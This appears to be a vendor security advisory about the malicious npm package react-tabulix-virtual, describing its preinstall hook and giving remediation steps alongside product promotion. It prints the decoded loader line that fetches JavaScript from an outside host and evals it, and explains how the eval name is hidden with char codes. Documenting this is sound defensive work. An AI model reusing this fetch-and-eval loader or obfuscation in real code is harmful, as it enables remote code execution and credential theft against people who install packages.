react-tabulix-virtualnpm
react-tabulix-virtual is a confirmed malicious npm package (MAL-2026-10989) that executes malicious code on install (malicious versions 0.1.0, 0.1.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in react-tabulix-virtual (npm)
What this malware does
package.json declares scripts.preinstall as node./dist/index.d.js, which runs automatically on npm install. dist/index.d.js contains a base64-encoded string that decodes to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())). The eval identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the eval sink (char-code assembly) are obfuscated.
The OpenSSF Package Analysis project identified 'react-tabulix-virtual' @ 0.1.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for react-tabulix-virtual (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging react-tabulix-virtual across your stack and pipelines.
If you installed it — respond
Remove react-tabulix-virtual from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If react-tabulix-virtual was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks react-tabulix-virtual before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks react-tabulix-virtual-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.